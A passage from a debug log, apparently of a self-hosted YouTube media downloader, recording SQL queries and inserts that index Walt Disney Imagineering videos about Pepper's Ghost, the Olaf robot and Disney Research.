→ \u00A0\u00A0\u00A0•\u00A0The\u00A0Ichabod\u00A0Crane\u00A0Storytelling\u00A0Window\u00A0|\u00A0Gr...\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n💬 Drop a 👻 in the comments if you made it this far — and let us know your favorite use of Pepper's Ghost in the parks!\n\n#WaltDisneyImagineering #HauntedMansion #TowerofTerror", "filename" => "/downloads/Walt Disney Imagineering/2025-12-08 Pepper's Ghost from Haunted Mansion to Test Track | Great Moments in Imagineering/Pepper's Ghost from Haunted Mansion to Test Track | Great Moments in Imagineering [m80WI0AK0P0].NA", "id" => "m80WI0AK0P0", "original_url" => "https://www.youtube.com/watch?v=m80WI0AK0P0", "playlist_index" => 9, "title" => "Pepper's Ghost from Haunted Mansion to Test Track | Great Moments in Imagineering", "upload_date" => "20251208"} 18:55:21.670 [debug] QUERY OK source="sources" db=0.2ms idle=1002.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:55:21.670 [debug] QUERY OK source="sources" db=0.1ms idle=1002.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:55:21.671 [debug] QUERY OK source="media_items" db=0.5ms idle=1001.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-08 00:00:00Z], 2] 18:55:21.673 [debug] QUERY OK source="media_items" db=1.4ms idle=891.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Discover the magic behind Pepper’s Ghost! This classic illusion has amazed guests for decades in Disney attractions like The Haunted Mansion and Tower of Terror. Learn how this effect was first introduced and how Walt Disney Imagineering has continued to innovate and expand its use over the years.\n\n✨ What makes this special?\n• Disney has been utilizing Pepper's Ghost for years in their attractions\n• The Pepper's Ghost effect has evolved to include video effects\n• Disney continues to push boundaries and innovate new ways to use the stage magic\n\n🎥 Watch the Magic Unfold\nJoin us for Great Moments in Imagineering & Disney Live Entertainment, a behind-the-scenes series that celebrates the creativity, innovation, and storytelling that define Walt Disney Imagineering. Discover the magic that brings Disney parks, resorts, attractions, and cruise ships to life!\n\n🔍 Explore More Episodes\n✨ Hong Kong Disneyland 20th Anniversary Projections → \u00A0\u00A0\u00A0•\u00A0Hong\u00A0Kong\u00A0Disneyland\u00A020th\u00A0Anniversary\u00A0New\u00A0...\u00A0\u00A0\n⚡ Meet the Titans from the Disney Destiny Hercules Show → \u00A0\u00A0\u00A0•\u00A0Meet\u00A0The\u00A0Titans\u00A0from\u00A0the\u00A0Disney\u00A0Destiny\u00A0He...\u00A0\u00A0\n🌸 30 Years of EPCOT International Flower & Garden Festival Innovation → \u00A0\u00A0\u00A0•\u00A030\u00A0Years\u00A0of\u00A0EPCOT\u00A0International\u00A0Flower\u00A0&\u00A0G...\u00A0\u00A0\n👻 The Ichabod Crane Storytelling Window → \u00A0\u00A0\u00A0•\u00A0The\u00A0Ichabod\u00A0Crane\u00A0Storytelling\u00A0Window\u00A0|\u00A0Gr...\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n💬 Drop a 👻 in the comments if you made it this far — and let us know your favorite use of Pepper's Ghost in the parks!\n\n#WaltDisneyImagineering #HauntedMansion #TowerofTerror", "Pepper's Ghost from Haunted Mansion to Test Track | Great Moments in Imagineering", "61429f17-fb2e-47a7-8f4d-056308a9615c", "m80WI0AK0P0", "https://www.youtube.com/watch?v=m80WI0AK0P0", false, false, 9, "/downloads/Walt Disney Imagineering/2025-12-08 Pepper's Ghost from Haunted Mansion to Test Track | Great Moments in Imagineering/Pepper's Ghost from Haunted Mansion to Test Track | Great Moments in Imagineering [m80WI0AK0P0].NA", false, false, 2, [], 98, ~U[2025-12-08 00:00:00Z], ~U[2026-03-30 22:55:21Z], ~U[2026-03-30 22:55:21Z], "Discover the magic behind Pepper’s Ghost! This classic illusion has amazed guests for decades in Disney attractions like The Haunted Mansion and Tower of Terror. Learn how this effect was first introduced and how Walt Disney Imagineering has continued to innovate and expand its use over the years.\n\n✨ What makes this special?\n• Disney has been utilizing Pepper's Ghost for years in their attractions\n• The Pepper's Ghost effect has evolved to include video effects\n• Disney continues to push boundaries and innovate new ways to use the stage magic\n\n🎥 Watch the Magic Unfold\nJoin us for Great Moments in Imagineering & Disney Live Entertainment, a behind-the-scenes series that celebrates the creativity, innovation, and storytelling that define Walt Disney Imagineering. Discover the magic that brings Disney parks, resorts, attractions, and cruise ships to life!\n\n🔍 Explore More Episodes\n✨ Hong Kong Disneyland 20th Anniversary Projections → \u00A0\u00A0\u00A0•\u00A0Hong\u00A0Kong\u00A0Disneyland\u00A020th\u00A0Anniversary\u00A0New\u00A0...\u00A0\u00A0\n⚡ Meet the Titans from the Disney Destiny Hercules Show → \u00A0\u00A0\u00A0•\u00A0Meet\u00A0The\u00A0Titans\u00A0from\u00A0the\u00A0Disney\u00A0Destiny\u00A0He...\u00A0\u00A0\n🌸 30 Years of EPCOT International Flower & Garden Festival Innovation → \u00A0\u00A0\u00A0•\u00A030\u00A0Years\u00A0of\u00A0EPCOT\u00A0International\u00A0Flower\u00A0&\u00A0G...\u00A0\u00A0\n👻 The Ichabod Crane Storytelling Window → \u00A0\u00A0\u00A0•\u00A0The\u00A0Ichabod\u00A0Crane\u00A0Storytelling\u00A0Window\u00A0|\u00A0Gr...\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n💬 Drop a 👻 in the comments if you made it this far — and let us know your favorite use of Pepper's Ghost in the parks!\n\n#WaltDisneyImagineering #HauntedMansion #TowerofTerror", "Pepper's Ghost from Haunted Mansion to Test Track | Great Moments in Imagineering", "m80WI0AK0P0", "https://www.youtube.com/watch?v=m80WI0AK0P0", nil, false, "/downloads/Walt Disney Imagineering/2025-12-08 Pepper's Ghost from Haunted Mansion to Test Track | Great Moments in Imagineering/Pepper's Ghost from Haunted Mansion to Test Track | Great Moments in Imagineering [m80WI0AK0P0].NA", false, 2, ~U[2025-12-08 00:00:00Z]] 18:55:21.673 [debug] QUERY OK source="sources" db=0.1ms idle=78.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:55:21.673 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:55:21.674 [debug] QUERY OK source="media_items" db=0.2ms idle=3.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [4458] 18:55:21.674 [debug] Current batch of media processed. Will check again in 1000ms 18:55:22.675 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Walt Disney Imagineering Research & Development is bringing a beloved character to World of Frozen in Disneyland Paris and Hong Kong Disneyland. Olaf is a self-roaming character that will continue to push innovation and immersion within Disney Experiences.\n\n🎥 Watch the full episode of We Call It Imagineering inside Research & Development to see more innovations at Walt Disney Imagineering → \u00A0\u00A0\u00A0•\u00A0Real-Life\u00A0Olaf\u00A0Robot\u00A0&\u00A0Inside\u00A0Imagineering...\u00A0\u00A0\n\n📖 Read More on Disney Parks Blog → https://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nCome along as we take you on an inside look at Walt Disney Imagineering. Inspired by how Walt took us along during the development of Disneyland, this new series brings you into the creative and design journey as Disney Imagineers create new, innovative experiences for guests to enjoy at Disney Parks around the world!\n\n🔍 Explore More Episodes\n👻 Foolish Mortals → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Haunted\u00A0Mansion,...\u00A0\u00A0\n🏰 Building Castles → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Building\u00A0Castles\u00A0\u00A0\n🎤 On With The Show! → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0On\u00A0With\u00A0The\u00A0Show...\u00A0\u00A0\n🎢 Let's Ride → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Let's\u00A0Ride\u00A0\u00A0\n🎶 Soundscapes → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Soundscapes\u00A0\u00A0\n🦾 Audio-Animatronics® → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Audio-Animatronics®\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n💬 Drop a ⛄️ in the comments if you can't wait to meet Olaf!", "filename" => "/downloads/Walt Disney Imagineering/2025-12-02 Disney's Olaf Self-Roaming Robot Comes to Life World of Frozen/Disney's Olaf Self-Roaming Robot Comes to Life World of Frozen [dbjm02cvdiQ].NA", "id" => "dbjm02cvdiQ", "original_url" => "https://www.youtube.com/watch?v=dbjm02cvdiQ", "playlist_index" => 10, "title" => "Disney's Olaf Self-Roaming Robot Comes to Life World of Frozen", "upload_date" => "20251202"} 18:55:22.676 [debug] QUERY OK source="sources" db=0.3ms idle=1002.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:55:22.676 [debug] QUERY OK source="sources" db=0.1ms idle=1002.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:55:22.677 [debug] QUERY OK source="media_items" db=0.5ms idle=1002.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-02 00:00:00Z], 2] 18:55:22.679 [debug] QUERY OK source="media_items" db=1.5ms idle=1003.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Walt Disney Imagineering Research & Development is bringing a beloved character to World of Frozen in Disneyland Paris and Hong Kong Disneyland. Olaf is a self-roaming character that will continue to push innovation and immersion within Disney Experiences.\n\n🎥 Watch the full episode of We Call It Imagineering inside Research & Development to see more innovations at Walt Disney Imagineering → \u00A0\u00A0\u00A0•\u00A0Real-Life\u00A0Olaf\u00A0Robot\u00A0&\u00A0Inside\u00A0Imagineering...\u00A0\u00A0\n\n📖 Read More on Disney Parks Blog → https://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nCome along as we take you on an inside look at Walt Disney Imagineering. Inspired by how Walt took us along during the development of Disneyland, this new series brings you into the creative and design journey as Disney Imagineers create new, innovative experiences for guests to enjoy at Disney Parks around the world!\n\n🔍 Explore More Episodes\n👻 Foolish Mortals → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Haunted\u00A0Mansion,...\u00A0\u00A0\n🏰 Building Castles → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Building\u00A0Castles\u00A0\u00A0\n🎤 On With The Show! → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0On\u00A0With\u00A0The\u00A0Show...\u00A0\u00A0\n🎢 Let's Ride → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Let's\u00A0Ride\u00A0\u00A0\n🎶 Soundscapes → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Soundscapes\u00A0\u00A0\n🦾 Audio-Animatronics® → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Audio-Animatronics®\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n💬 Drop a ⛄️ in the comments if you can't wait to meet Olaf!", "Disney's Olaf Self-Roaming Robot Comes to Life World of Frozen", "27d7c51c-ee63-4444-8129-fb2d51bfac8a", "dbjm02cvdiQ", "https://www.youtube.com/watch?v=dbjm02cvdiQ", false, false, 10, "/downloads/Walt Disney Imagineering/2025-12-02 Disney's Olaf Self-Roaming Robot Comes to Life World of Frozen/Disney's Olaf Self-Roaming Robot Comes to Life World of Frozen [dbjm02cvdiQ].NA", false, false, 2, [], 98, ~U[2025-12-02 00:00:00Z], ~U[2026-03-30 22:55:22Z], ~U[2026-03-30 22:55:22Z], "Walt Disney Imagineering Research & Development is bringing a beloved character to World of Frozen in Disneyland Paris and Hong Kong Disneyland. Olaf is a self-roaming character that will continue to push innovation and immersion within Disney Experiences.\n\n🎥 Watch the full episode of We Call It Imagineering inside Research & Development to see more innovations at Walt Disney Imagineering → \u00A0\u00A0\u00A0•\u00A0Real-Life\u00A0Olaf\u00A0Robot\u00A0&\u00A0Inside\u00A0Imagineering...\u00A0\u00A0\n\n📖 Read More on Disney Parks Blog → https://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nCome along as we take you on an inside look at Walt Disney Imagineering. Inspired by how Walt took us along during the development of Disneyland, this new series brings you into the creative and design journey as Disney Imagineers create new, innovative experiences for guests to enjoy at Disney Parks around the world!\n\n🔍 Explore More Episodes\n👻 Foolish Mortals → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Haunted\u00A0Mansion,...\u00A0\u00A0\n🏰 Building Castles → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Building\u00A0Castles\u00A0\u00A0\n🎤 On With The Show! → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0On\u00A0With\u00A0The\u00A0Show...\u00A0\u00A0\n🎢 Let's Ride → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Let's\u00A0Ride\u00A0\u00A0\n🎶 Soundscapes → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Soundscapes\u00A0\u00A0\n🦾 Audio-Animatronics® → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Audio-Animatronics®\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n💬 Drop a ⛄️ in the comments if you can't wait to meet Olaf!", "Disney's Olaf Self-Roaming Robot Comes to Life World of Frozen", "dbjm02cvdiQ", "https://www.youtube.com/watch?v=dbjm02cvdiQ", nil, false, "/downloads/Walt Disney Imagineering/2025-12-02 Disney's Olaf Self-Roaming Robot Comes to Life World of Frozen/Disney's Olaf Self-Roaming Robot Comes to Life World of Frozen [dbjm02cvdiQ].NA", false, 2, ~U[2025-12-02 00:00:00Z]] 18:55:22.680 [debug] QUERY OK source="sources" db=0.1ms idle=83.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:55:22.680 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:55:22.680 [debug] QUERY OK source="media_items" db=0.2ms idle=3.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [3978] 18:55:22.680 [debug] Current batch of media processed. Will check again in 1000ms 18:55:23.681 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Step behind the scenes with Walt Disney Imagineering Research & Development and discover how Disney uses robotics, AI, and immersive technology to bring stories to life! From the brand new self-walking Olaf in World of Frozen and BDX Droids to cutting-edge attractions like Millennium Falcon: Smugglers Run, see how magic meets innovation.\n\nDisney Research continues to push boundaries through partnerships with tech leaders like NVIDIA, Epic Games, and Meta. This video highlights our collaboration with Meta using their Wearables Device Access Toolkit and AI glasses to unlock a world of innovation and storytelling for Disney guests and Imagineers.\n \n🔑 Key Takeaways\n→ Brand new self-walking Olaf coming to World of Frozen in Disney Parks\n→ Why partnerships with NVIDIA, Epic Games, and Meta power next-gen experiences\n→ We're not just using technology for technology's sake\n→ If we're doing our jobs properly, all of the technology goes away and our guests get immersed in the story that we're trying to tell\n→ Failure is embraced as part of pushing boundaries\n\n📋 Chapters\nLook Inside Disney Research Zurich: 1:24 \nOlaf Reveal: 2:27 \nRobotics Development Progression: 6:08\nNVIDIA Conversation: 10:14 \nMillennium Falcon Updates: 12:16\nH.E.R.B.I.E.: 14:47\nBDX Droids: 17:25\nJ.A.R.V.I.S.: 21:09\nStuntronics: 21:57\nLucky the Dinosaur History: 23:41\nNext-Generation Audio-Animatronics® Technology: 26:07\nAquatic Robots: 27:33\nMeta Glasses: 29:40\n\n📖 Read More on Disney Parks Blog → https://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nCome along as we take you on an inside look at Walt Disney Imagineering. Inspired by how Walt took us along during the development of Disneyland, this new series brings you into the creative and design journey as Disney Imagineers create new, innovative experiences for guests to enjoy at Disney Parks around the world!\n\n🔍 Explore More Episodes\n👻 Foolish Mortals → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Haunted\u00A0Mansion,...\u00A0\u00A0\n🏰 Building Castles → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Building\u00A0Castles\u00A0\u00A0\n🎤 On With The Show! → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0On\u00A0With\u00A0The\u00A0Show...\u00A0\u00A0\n🎢 Let's Ride → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Let's\u00A0Ride\u00A0\u00A0\n🎶 Soundscapes → 